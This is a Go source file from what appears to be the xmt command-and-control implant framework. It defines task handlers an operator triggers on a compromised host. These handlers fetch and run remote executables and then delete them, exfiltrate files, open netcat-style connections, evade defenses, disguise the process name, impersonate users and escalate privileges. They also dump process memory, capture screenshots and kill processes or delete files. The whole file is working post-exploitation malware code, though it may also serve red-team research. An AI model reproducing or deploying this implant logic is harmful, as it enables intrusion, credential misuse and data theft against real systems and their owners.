github.com/iDigitalFlame/xmt@v0.5.4/c2/task/io.go (about)

     1  // Copyright (C) 2020 - 2023 iDigitalFlame
     2  //
     3  // This program is free software: you can redistribute it and/or modify
     4  // it under the terms of the GNU General Public License as published by
     5  // the Free Software Foundation, either version 3 of the License, or
     6  // any later version.
     7  //
     8  // This program is distributed in the hope that it will be useful,
     9  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    10  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    11  // GNU General Public License for more details.
    12  //
    13  // You should have received a copy of the GNU General Public License
    14  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    15  //
    16  
    17  package task
    18  
    19  import (
    20  	"context"
    21  	"io"
    22  	"net"
    23  	"os"
    24  	"strings"
    25  	"time"
    26  
    27  	"github.com/iDigitalFlame/xmt/cmd"
    28  	"github.com/iDigitalFlame/xmt/cmd/filter"
    29  	"github.com/iDigitalFlame/xmt/com"
    30  	"github.com/iDigitalFlame/xmt/data"
    31  	"github.com/iDigitalFlame/xmt/device"
    32  	"github.com/iDigitalFlame/xmt/device/screen"
    33  	"github.com/iDigitalFlame/xmt/man"
    34  	"github.com/iDigitalFlame/xmt/util/bugtrack"
    35  	"github.com/iDigitalFlame/xmt/util/xerr"
    36  )
    37  
    38  // Netcat connection constants
    39  const (
    40  	NetcatTCP uint8 = 0
    41  	NetcatUDP       = iota
    42  	NetcatTLS
    43  	NetcatTLSInsecure
    44  	NetcatICMP
    45  )
    46  
    47  const (
    48  	taskIoDelete    uint8 = 0
    49  	taskIoDeleteAll       = iota
    50  	taskIoMove
    51  	taskIoCopy
    52  	taskIoTouch
    53  	taskIoKill
    54  	taskIoKillName
    55  )
    56  
    57  var (
    58  	_ backer = (*data.Chunk)(nil)
    59  	_ backer = (*com.Packet)(nil)
    60  )
    61  
    62  type backer interface {
    63  	Grow(int) error
    64  	WriteUint32Pos(int, uint32) error
    65  }
    66  
    67  func waitThenDelete(e cmd.Runnable, p string) {
    68  	if bugtrack.Enabled {
    69  		defer bugtrack.Recover("task.waitThenDelete()")
    70  	}
    71  	e.Wait()
    72  	os.Remove(p)
    73  }
    74  func taskWait(x context.Context, r data.Reader, _ data.Writer) error {
    75  	d, err := r.Int64()
    76  	if err != nil {
    77  		return err
    78  	}
    79  	if d <= 0 {
    80  		return nil
    81  	}
    82  	t := time.NewTimer(time.Duration(d))
    83  	select {
    84  	case <-t.C:
    85  	case <-x.Done():
    86  	}
    87  	t.Stop()
    88  	return nil
    89  }
    90  func taskPull(x context.Context, r data.Reader, w data.Writer) error {
    91  	var (
    92  		u, a, p string
    93  		err     = r.ReadString(&u)
    94  	)
    95  	// NOTE(dij): Do these escape?
    96  	//            Sometimes the compiler thinks so.
    97  	if err != nil {
    98  		return err
    99  	}
   100  	if err = r.ReadString(&a); err != nil {
   101  		return err
   102  	}
   103  	if err = r.ReadString(&p); err != nil {
   104  		return err
   105  	}
   106  	o, err := man.WebRequest(x, u, a)
   107  	if err != nil {
   108  		return err
   109  	}
   110  	if o.StatusCode >= 400 {
   111  		o.Body.Close()
   112  		return xerr.Sub("invalid HTTP response", 0x67)
   113  	}
   114  	if len(p) == 0 { // If the destination path is zero, then redirect it to the Writer
   115  		w.WriteString("")
   116  		if w.WriteInt64(0); o.Request.ContentLength > 0 {
   117  			if s, ok := w.(backer); ok {
   118  				s.Grow(int(o.Request.ContentLength))
   119  			}
   120  		}
   121  		_, err := io.Copy(w, o.Body)
   122  		o.Body.Close()
   123  		return err
   124  	}
   125  	var (
   126  		v = device.Expand(p)
   127  		f *os.File
   128  	)
   129  	// 0x242 - CREATE | TRUNCATE | RDWR
   130  	if f, err = os.OpenFile(v, 0x242, 0755); err != nil {
   131  		o.Body.Close()
   132  		return err
   133  	}
   134  	n, err := readFromFile(f, o.Body)
   135  	o.Body.Close()
   136  	f.Close()
   137  	w.WriteString(v)
   138  	w.WriteInt64(n)
   139  	return err
   140  }
   141  func taskEvade(_ context.Context, r data.Reader, _ data.Writer) error {
   142  	f, err := r.Uint8()
   143  	if err != nil {
   144  		return err
   145  	}
   146  	return device.Evade(f)
   147  }
   148  func taskLogins(_ context.Context, _ data.Reader, w data.Writer) error {
   149  	e, err := device.Logins()
   150  	if err != nil {
   151  		return err
   152  	}
   153  	w.WriteUint16(uint16(len(e)))
   154  	for i := 0; i < len(e) && i < 0xFFFF; i++ {
   155  		if err = e[i].MarshalStream(w); err != nil {
   156  			return err
   157  		}
   158  	}
   159  	return nil
   160  }
   161  func taskNetcat(x context.Context, r data.Reader, w data.Writer) error {
   162  	h, err := r.StringVal()
   163  	if err != nil {
   164  		return err
   165  	}
   166  	p, err := r.Uint8()
   167  	if err != nil {
   168  		return err
   169  	}
   170  	t, err := r.Uint64()
   171  	if err != nil {
   172  		return err
   173  	}
   174  	b, err := r.Bytes()
   175  	if err != nil {
   176  		return err
   177  	}
   178  	y, f := x, func() {}
   179  	if t > 0 {
   180  		y, f = context.WithTimeout(x, time.Duration(t))
   181  	}
   182  	var c net.Conn
   183  	switch p & 0xF {
   184  	case NetcatUDP:
   185  		c, err = com.UDP.Connect(y, h)
   186  	case NetcatTLS:
   187  		c, err = com.TLS.Connect(y, h)
   188  	case NetcatTLSInsecure:
   189  		c, err = com.TLSInsecure.Connect(y, h)
   190  	case NetcatICMP:
   191  		c, err = com.ICMP.Connect(y, h)
   192  	default:
   193  		c, err = com.TCP.Connect(y, h)
   194  	}
   195  	if err != nil {
   196  		f()
   197  		return err
   198  	}
   199  	k := time.Second * 5
   200  	if t > 0 {
   201  		k = time.Duration(t)
   202  	}
   203  	if len(b) > 0 {
   204  		c.SetWriteDeadline(time.Now().Add(k))
   205  		n, err := c.Write(b)
   206  		if err != nil {
   207  			f()
   208  			c.Close()
   209  			return err
   210  		}
   211  		if n != len(b) {
   212  			f()
   213  			c.Close()
   214  			return io.ErrShortWrite
   215  		}
   216  	}
   217  	if p&0x80 == 0 {
   218  		f()
   219  		c.Close()
   220  		return nil
   221  	}
   222  	n := data.NewCtxReader(x, c)
   223  	c.SetReadDeadline(time.Now().Add(k))
   224  	_, err = io.Copy(w, n)
   225  	f()
   226  	n.Close()
   227  	return err
   228  }
   229  func taskUpload(x context.Context, r data.Reader, w data.Writer) error {
   230  	s, err := r.StringVal()
   231  	if err != nil {
   232  		return err
   233  	}
   234  	var (
   235  		v = device.Expand(s)
   236  		f *os.File
   237  	)
   238  	// 0x242 - CREATE | TRUNCATE | RDWR
   239  	if f, err = os.OpenFile(v, 0x242, 0644); err != nil {
   240  		return err
   241  	}
   242  	n := data.NewCtxReader(x, r)
   243  	c, err := io.Copy(f, n)
   244  	n.Close()
   245  	f.Close()
   246  	w.WriteString(v)
   247  	w.WriteInt64(c)
   248  	return err
   249  }
   250  func taskRename(_ context.Context, r data.Reader, _ data.Writer) error {
   251  	s, err := r.StringVal()
   252  	if err != nil {
   253  		return err
   254  	}
   255  	return device.SetProcessName(s)
   256  }
   257  func taskElevate(_ context.Context, r data.Reader, _ data.Writer) error {
   258  	var f filter.Filter
   259  	if err := f.UnmarshalStream(r); err != nil {
   260  		return err
   261  	}
   262  	if f.Empty() {
   263  		f = filter.Filter{Elevated: filter.True}
   264  	}
   265  	return device.Impersonate(&f)
   266  }
   267  func taskRevSelf(_ context.Context, _ data.Reader, _ data.Writer) error {
   268  	return device.RevertToSelf()
   269  }
   270  func taskDownload(x context.Context, r data.Reader, w data.Writer) error {
   271  	s, err := r.StringVal()
   272  	if err != nil {
   273  		return err
   274  	}
   275  	var (
   276  		v = device.Expand(s)
   277  		i os.FileInfo
   278  	)
   279  	if i, err = os.Stat(v); err != nil {
   280  		return err
   281  	}
   282  	if w.WriteString(v); i.IsDir() {
   283  		w.WriteBool(true)
   284  		w.WriteInt64(0)
   285  		return nil
   286  	}
   287  	c := i.Size()
   288  	w.WriteBool(false)
   289  	w.WriteInt64(c)
   290  	if s, ok := w.(backer); ok {
   291  		s.Grow(int(c))
   292  	}
   293  	// 0 - READONLY
   294  	f, err := os.OpenFile(v, 0, 0)
   295  	if err != nil {
   296  		return err
   297  	}
   298  	n := data.NewCtxReader(x, f)
   299  	_, err = io.Copy(w, n)
   300  	n.Close()
   301  	return err
   302  }
   303  func taskPullExec(x context.Context, r data.Reader, w data.Writer) error {
   304  	var (
   305  		u, a string
   306  		z    bool
   307  		err  = r.ReadString(&u)
   308  	)
   309  	// NOTE(dij): Do these escape?
   310  	//            Sometimes the compiler thinks so.
   311  	if err != nil {
   312  		return err
   313  	}
   314  	if err = r.ReadString(&a); err != nil {
   315  		return err
   316  	}
   317  	if err = r.ReadBool(&z); err != nil {
   318  		return err
   319  	}
   320  	var f *filter.Filter
   321  	if err = filter.UnmarshalStream(r, &f); err != nil {
   322  		return err
   323  	}
   324  	var (
   325  		e cmd.Runnable
   326  		p string
   327  	)
   328  	if z {
   329  		w.WriteUint64(0) // Prime our buffer to handle the PID/ExitCode
   330  		e, p, err = man.WebExec(x, w, u, a)
   331  	} else {
   332  		e, p, err = man.WebExec(x, nil, u, a)
   333  	}
   334  	if err != nil {
   335  		if len(p) > 0 {
   336  			os.Remove(p)
   337  		}
   338  		return err
   339  	}
   340  	e.SetParent(f)
   341  	if err = e.Start(); err != nil {
   342  		if len(p) > 0 {
   343  			os.Remove(p)
   344  		}
   345  		return err
   346  	}
   347  	if !z {
   348  		if w.WriteUint64(uint64(e.Pid()) << 32); len(p) > 0 {
   349  			go waitThenDelete(e, p)
   350  		}
   351  		return nil
   352  	}
   353  	i := e.Pid()
   354  	if err = e.Wait(); len(p) > 0 {
   355  		os.Remove(p)
   356  	}
   357  	if _, ok := err.(*cmd.ExitError); err != nil && !ok {
   358  		return err
   359  	}
   360  	var (
   361  		c, _ = e.ExitCode()
   362  		s, _ = w.(backer)
   363  	)
   364  	if s == nil {
   365  		return nil
   366  	}
   367  	s.WriteUint32Pos(0, i)
   368  	s.WriteUint32Pos(4, uint32(c))
   369  	return nil
   370  }
   371  func taskProcDump(_ context.Context, r data.Reader, w data.Writer) error {
   372  	var f *filter.Filter
   373  	if err := filter.UnmarshalStream(r, &f); err != nil {
   374  		return err
   375  	}
   376  	return device.DumpProcess(f, w)
   377  }
   378  func taskSystemIo(x context.Context, r data.Reader, w data.Writer) error {
   379  	t, err := r.Uint8()
   380  	if err != nil {
   381  		return err
   382  	}
   383  	switch w.WriteUint8(t); t {
   384  	case taskIoKill:
   385  		i, err := r.Uint32()
   386  		if err != nil {
   387  			return err
   388  		}
   389  		var p *os.Process
   390  		if p, err = os.FindProcess(int(i)); err != nil {
   391  			return err
   392  		}
   393  		err = p.Kill()
   394  		p.Release()
   395  		return err
   396  	case taskIoTouch:
   397  		n, err := r.StringVal()
   398  		if err != nil {
   399  			return err
   400  		}
   401  		k := device.Expand(n)
   402  		if _, err = os.Stat(k); err == nil {
   403  			return nil
   404  		}
   405  		// 0x242 - CREATE | TRUNCATE | RDWR
   406  		f, err1 := os.OpenFile(k, 0x242, 0644)
   407  		if err1 != nil {
   408  			return err1
   409  		}
   410  		f.Close()
   411  		return nil
   412  	case taskIoDelete:
   413  		n, err := r.StringVal()
   414  		if err != nil {
   415  			return err
   416  		}
   417  		return os.Remove(device.Expand(n))
   418  	case taskIoKillName:
   419  		n, err := r.StringVal()
   420  		if err != nil {
   421  			return err
   422  		}
   423  		e, err1 := cmd.Processes()
   424  		if err1 != nil {
   425  			return err1
   426  		}
   427  		var p *os.Process
   428  		for i := range e {
   429  			if !strings.EqualFold(n, e[i].Name) {
   430  				continue
   431  			}
   432  			if p, err = os.FindProcess(int(e[i].PID)); err != nil {
   433  				break
   434  			}
   435  			err = p.Kill()
   436  			if p.Release(); err != nil {
   437  				break
   438  			}
   439  		}
   440  		e, p = nil, nil
   441  		return err
   442  	case taskIoDeleteAll:
   443  		n, err := r.StringVal()
   444  		if err != nil {
   445  			return err
   446  		}
   447  		return os.RemoveAll(device.Expand(n))
   448  	case taskIoMove, taskIoCopy:
   449  		var n, d string
   450  		// NOTE(dij): Do these escape?
   451  		//            Sometimes the compiler thinks so.
   452  		if err = r.ReadString(&n); err != nil {
   453  			return err
   454  		}
   455  		if err = r.ReadString(&d); err != nil {
   456  			return err
   457  		}
   458  		var (
   459  			s, f *os.File
   460  			k    = device.Expand(n)
   461  			u    = device.Expand(d)
   462  		)
   463  		// 0 - READONLY
   464  		if s, err = os.OpenFile(k, 0, 0); err != nil {
   465  			return err
   466  		}
   467  		// 0x242 - CREATE | TRUNCATE | RDWR
   468  		if f, err = os.OpenFile(u, 0x242, 0644); err != nil {
   469  			s.Close()
   470  			return err
   471  		}
   472  		var (
   473  			v = data.NewCtxReader(x, s)
   474  			c int64
   475  		)
   476  		c, err = io.Copy(f, v)
   477  		v.Close()
   478  		f.Close()
   479  		w.WriteString(u)
   480  		if w.WriteInt64(c); t == taskIoCopy || err != nil {
   481  			return err
   482  		}
   483  		return os.Remove(k)
   484  	}
   485  	return xerr.Sub("invalid operation", 0x68)
   486  }
   487  func taskLoginUser(_ context.Context, r data.Reader, _ data.Writer) error {
   488  	// NOTE(dij): This function is here and NOT in an OS-specific file as I
   489  	//            hopefully will find a *nix way to do this also.
   490  	i, err := r.Bool()
   491  	if err != nil {
   492  		return err
   493  	}
   494  	var u, d, p string
   495  	if err = r.ReadString(&u); err != nil {
   496  		return err
   497  	}
   498  	if err = r.ReadString(&d); err != nil {
   499  		return err
   500  	}
   501  	if err = r.ReadString(&p); err != nil {
   502  		return err
   503  	}
   504  	if i {
   505  		return device.ImpersonateUser(u, d, p)
   506  	}
   507  	return device.ImpersonateUserNetwork(u, d, p)
   508  }
   509  func taskScreenShot(_ context.Context, _ data.Reader, w data.Writer) error {
   510  	return screen.Capture(w)
   511  }